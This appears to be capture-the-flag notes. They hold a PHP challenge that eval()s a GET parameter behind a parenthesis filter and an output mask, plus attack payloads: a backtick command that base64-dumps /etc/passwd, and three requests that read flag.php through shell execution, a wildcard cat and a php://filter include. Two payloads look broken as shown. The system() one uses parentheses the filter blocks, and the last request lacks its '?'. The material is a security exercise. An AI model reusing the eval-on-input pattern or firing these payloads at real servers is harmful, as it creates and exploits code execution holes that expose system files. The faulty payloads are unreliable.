<?php
    echo `base64 /etc/passwd`;
?>

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>

GET /?a=echo `base64 flag.php`

GET /?a=system(%27%0acat%20f*%20|%20base64%27);

GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;